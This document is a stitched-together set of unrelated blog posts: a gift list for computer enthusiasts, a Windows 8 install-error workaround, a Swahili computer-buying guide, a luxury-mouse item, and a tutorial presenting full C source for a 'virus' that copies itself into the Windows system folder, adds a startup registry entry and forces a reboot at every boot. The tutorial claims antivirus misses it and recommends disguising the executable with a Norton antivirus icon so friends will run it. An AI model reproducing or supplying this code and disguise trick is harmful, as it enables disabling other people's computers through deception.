8 Gifts you can get the computer enthusiasts in your life that theyll appreciate


If you have someone in your life whose life revolves around their computer and you don�t know what to give them�this is Uncle Tom�s list of 8 non-computer items a computer enthusiast will find helpful.�

�

I�ve used computers personally for close to 30 years now. This is what I�d find useful as a gift:

�

1. Brother P-Touch labeler and extra batteries and label tape. The enthusiast will have lots of items that look identical and they�ll need to know which one is which. Your gift helps distinguish them at a glance.

2. Power strip. You can never have enough outlets. Get one with a long cord, too.

3. A shredder that can handle DVDs and CDs.�

4. A $50 Amazon gift card. They�ll need to order something after the holidays.

5. Stand alone physical kitchen timer with a loud annoying bell. This is for when they�re engrossed on-line, yet doing laundry or cooking at the same time.

6. Ream of copy paper. Occasionally they�ll need to print something. Sometimes they�ll even need to print it on nice paper for someone else to look at.

7. A box of Zip-Loc style bags and a box of snap-top containers. This goes well with Present #1.The enthusiast will have lots of small items they need to keep separate from each other.�

8. A box of personalized Post-It or Sticky type notes. The P-Touch is for permanent labeling situations. Your enthusiasts will need to make quick temporary notes on many occasions.��

�

Feel free to add your suggestions in the comments.

A media driver your computer needs is missing SOLVED


"A media driver your computer needs is missing. This could be a DVD, USB, or Hard Disk driver. . . ."

Its not the first time I get this error while trying to install Windows 8 (you might be trying to install other version).

I havent really figured out what causes this error.

Ive heard some of the causes:

- It can be because you are trying to install windows from a usb 3.0 pen your motherboard does not support yet. Solution: use a usb 2.0 port!

- It can also be because of an incompatible device, such as a card reader. Solution: try to unplug everything you dont need (such as fingerprint reader, card readers, etc...) and retry installing windows. The error should be gone.


In my case, none of those were the causes. I dont know what it was, maybe it has to do with the hard disk itself... Anyway, here is MY solution, I mean, the workaround that WORKED WITH ME when I tried installing windows 8.


1st time:
I used windows 7 installation disk to try to repair my computer.Yes, Windows (SEVEN) 7! Yes, I was installing windows 8. But I used the 7 repair tool, since it is much powerful (IMO) than the one that comes with the windows 8 disk.

The windows 7 repair tool successfully repaired my computer and when I tried to install Windows 8 again, the error was gone.


2nd time:
I had to format my laptop and reinstall Windows 8. The same error came up. The windows 7 disk was not with me so I could not use it. I went to advanced options menu (still in the windows 8 disk) and tried to repair. Didnt work. I started the command line option and formatted my hard disk (drive d: in that day). So: I typed: "d:" and then "format d:". It started formatting my local disk but it was taking too long. When it was on 7%, I ctrl+C (breaked) the operation. And when I restarted the windows 8 setup, the error was gone :D


Hope this helps!

A C Program to Restart the Computer at Every Startup



Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect�s this as a virus since I have coded this virus in C. So if you are familiar with C language then it�s too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h>
#include<dos.h>
#include<dir.h> int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(�C:windowssystem�,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(�C:windowssystemsysres.exe�,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(�D:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�D:windowssystemsysres.exe�,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(�E:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�E:windowssystemsysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(�F:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�F:windowssystemsysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],�rb�); //The virus file open�s itself
switch(drive_no)
{
case 1:
target=fopen(�C:windowssystemsysres.exe�,�wb�); //to place a copy of itself in a remote place
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
C:windowssystem sysres.exe�); //put this file to registry for starup
break;
case 2:
target=fopen(�D:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
D:windowssystemsysres.exe�);
break;
case 3:
target=fopen(�E:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
E:windowssystemsysres.exe�);
break;
case 4:
target=fopen(�F:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
F:windowssystemsysres.exe�);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(�shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:WindowsSystem
(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun

 There, on the right site you will see an entry by name �sres�.Delete this entry.That�s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don�t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I�ll explain the logic in a simplified manner. Here I�ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:WindowsSystem
3. If not it will just place a copy of itself into X:WindowsSystem and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:WindowsSystem directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file�s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it�s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

5 Things to consider when buying a computer Mambo 5 Muhimu kabla ya kununua komyuta


Huu ni mfululizo wa mambo chungu nzima ambayo utakutana nayo unapotaka kununua kompyuta mpya.
Kununua kompyuta si jambo rahisi. Kuna aina nyingi mno za kompyuta. Unapaswa kwa kweli kununua kompyuta ambayo ni sahihi kwako ili usije kujuta baadaye.
Kwamba baada ya mwaka mmoja tu unajikuta haitoshelezi tena mahitaji yako.
Si kila kompyuta inatengenezwa sawa
Kompyuta hazitengenezwi kwa usawa. Na pia mahitaji ya mtu hayawezi kufanana na ya mwingine. Kwa hivyo manunuzi ya PC mpya yanategemeana na mahitaji yako.
Kama unataka kompyuta yenye uwezo mkubwa, itakubidi kulipa fedha nyingi zaidi. Katika muongozo huu, nitakuonesha ni kwa jinsi gani viungo vilivyo ndani ya kompyuta vina maana gani kwako.
Hii itakusaidia kuamua unahitaji nini na ni mambo yapi uyazingati zaidi.
Ni kwa jinsi hii ndiyo utaweza kuwa katika nafasi nzuri ya kununua kompyuta inayokufaa na inayoendana na mahitaji yako. Utakuwa katika nafasi ya kuepuka kutumia fedha nyingi pasipo sababu.
Unataka Kompyuta Mpakato (Laptop) au ya Mezani (Desktop)?
Pengine huu ni uamuzi rahisi kwako.
Lakini pia ni uamuzi ambao utapelekea kuamua ni kiasi gani utatumia kununua kompyuta yako. Kwa sababu kama Laptop na Desktop zina uwezo unaolingana, laptop itakuwa aghali zaidi ya desktop.
Kwa nini?
Kwa sababu laptop ina sifa za ziada ambazo desktop haina. Laptop inaweza kubebwa mahali popote kwa sababu ina umbo dogo kuliko desktop. Laptop ni nyepesi zaidi ya desktop. Laptop ina betri ambayo inaiwezesha kutumika hata mahali pasipo na umeme.
 


Desktop                                                           Laptop                                                          
Kwa hivyo kama unataka kompyuta ambayo itatumika zaidi mahali pamoja bila haja ya kubebeka, nunua desktop. Desktop pia ina faida ya kwamba una uwezo wa kuitunza kwa uda mrefu zaidi ya laptop. kwa sababu ina nafas kubwa ya kupoza joto na hivyo kuwa na maisha marefu.
Pia ni rahisi kubadili au kuongeza vifaa katika desktop kuliko katika laptop. hii inakupa mwanya wa kuboresha kompyuta yako kutokana na mahitaji ya wakati husika hata kama umepita muda mrefu.
Kwa hivyo kama unahitaji kusafiri mara kwa mara, chagua laptop. Kumbuka pia kwamba kama mahitaji yako ni mambo madogo madogo kama vile kutuma na kupokea email au kutafuta taarifa mtandaoni, unaweza kununua kifaa cha mkononi (tablet) au hata laptop ndogo zaidi.
Lengo lako ni kusave fedha ambazo zitatumika katika shughuli nyingine.
Hasa katika kipindi hiki cha utumbuaji majipu.
Fahamu ubongo wa kompyuta unayotaka kununua
Ubongo?
Yeah.
Ubongo wa Kompyuta � CPU
Kompyuta ina ubongo ambao huendesha kila kitu, kama vile ubongo wako unavyokusimamia wewe. Ubongo wa kompyuta unaitwa processor, au central processing unit � CPU.
Kama unataka kompyuta yenye kasi, inayowashwa na kuwa tayari kwa haraka, na inayokamilisha kile unachoiambia kwa haraka, bila kuchelewa, basi nunua ile yenye CPU bora zaidi.
Utajuaje?
CPU hupimwa kwa kiwango cha Gigahertz � GHz. Kompyuta nyingi za siku hizi huwa zimebandikwa nembo inayoonesha uwezo wa CPU. Kadiri uwezo wa CPU unavyokuwa mkubwa ndiyo kiwango cha kuchakata taarifa kwa haraka kinavyoongezeka.


Picha hii utaiona ikiwa imebandikwa pembeni au ubavuni mwa kompyuta. Kompyuta nyingi siku hizi utaona zimebandikwa nembo zinazosema core i3, core i5, au core i7.
Core i7 maana yake CPU ina uwezo mkubwa zaidi kuliko core i5 na core i3. Hata hivyo kitaalam, kompyuta zenye core i3 zinatoa kelele hafifu kuliko zile zenye core i5 na core i7.
Uwezo wa nafasi ya kufanyia kazi (RAM)
Kiwango cha uwezo wa kuhifadhi taarifa na data wakati kompyuta ikifanya kazi kinaitwa RAM � Random access memory.
Ni kama vile tulinganishe chumba kidogo ambacho wanaishi watu 10 na uwanja wa mpira ambako watu 60,000 wanaweza kuenea kwa wakati mmoja.
Kadiri kompyuta inavyokuwa na RAM kubwa ndivyo inavyoongezeka uwezo wa kufanya kazi kwa ufanisi zaidi. Watu kumi watakaa kwa kujibana chumbani lakini ukiwachukua na kuwaweka katika uwanja, watajitanua watakavyo.

RAM ya Kompyuta
Nunua kompyuta yenye RAM kubwa zaidi. Kompyuta nyingi za kisasa zina RAM yenye Gigabyte 4 (4 GB) na kuendelea. Unapokuwa na kompyuta yenye RAM kubwa, unakuwa na uwezo wa kufanya kazi kwa haraka zaidi.
Kwa sababu kompyuta ina uwezo wa kushughulikia kazi nyingi kwa wakati mmoja.
Pia RAM zinatofautina, hata kama zote zina kiwango cha 4GB, kwa mfano. RAM yenye nembo DDR2-800 ina ufanisi mkubwa zaidi ya RAM yenye nembo ya DDR2-400.
Kadiri ukubwa wa RAM unavyoongezeka, ndivyo bei hupanda.
Uliza dukani kabla hujanunua.
Uwezo wa kutunza kumbukumbu (Hard Drive au Hard Disk)
Kila kompyuta inahitaji sehemu ya kutunza kumbukumbu � data storage. Sehemu hii ya kutunza kumbukumbu inaitwa hard disk au hard drive � kwa kifupi HDD.
Kompyuta nyingi siku hizi zinaanzia na HDD zenye ukubwa wa Gigabyte 500.
Unapochagua kompyuta, angalia mahitaji yako. Una mpango wa kuhifadhi data nyingi au kompyuta yako ni kwa ajili ya matumizi ya kawaida tu? Hii itakusaidia kupunguza bei ya kompyuta kwani kwadri inavyokuwa na HDD kubwa ndivyo bei inavyoongezeka.

HARD DISK
EXTERNAL HDD
FLASH DISK


Kumbuka pia kuwa teknolojia imeendelea sana siku hizi. Kama huna fedha za kutosha lakini ungependea kuwa na sehemu kubwa zaidi ya kuhifadhi data, kuna vifaa vya ziada � peripheral devices.
Flash disksna External Hard Disk ni vifaa amnavyo unaweza kununua baadaye endpao mahitaji yako yataongezeka.
Angalia mahitaji au vifaa vya ziada � peripherals
Kuna vifaa gani vya ziada utavihitaji katika kompyuta yako? Unataka kompyuta yako uweze kufanya nini?
Hapa utatambua unahitaji vifaa vya ziada katika kompyuta yako kwa kutegemea utakavyoitumia kompyuta yako. Hebu tutazame baadhi ya mambo ya ziada:
Matundu ya USB � Universal Serial Bus (USB) slots.
Haya ni matundu kwa ajili ya kupachika vifaa muhimu katika kompyuta kama vile kipanya (mouse), keyboard, kipaza sauti, radio, na monitor. Matundu haya kwa hakika yanaweza kuunganisha kitu chochote cha kielektroniki.
USB Ports
Matundu ya USB

A Computer Mouse for the Filthy Rich


Pat Says, a computer mice manufacturer based in Switzerland, are selling a USB plug-n-play mouse that costs a whooping $25k because its all made of white gold and diamonds.

Other than balance in your bank account, this worlds most expensive computer mouse wont change your computing lifestyle.

And as far as ergonomics and comfort is concerned, the (relatively) dirt-cheap Logitech MX revolution maybe far better than this diamond-studded gold mouse.

PC World has an overview of more such absurdly expensive gadgets here including the million dollar laptop from Luvaglio that activates only when you insert the unique colored diamond.
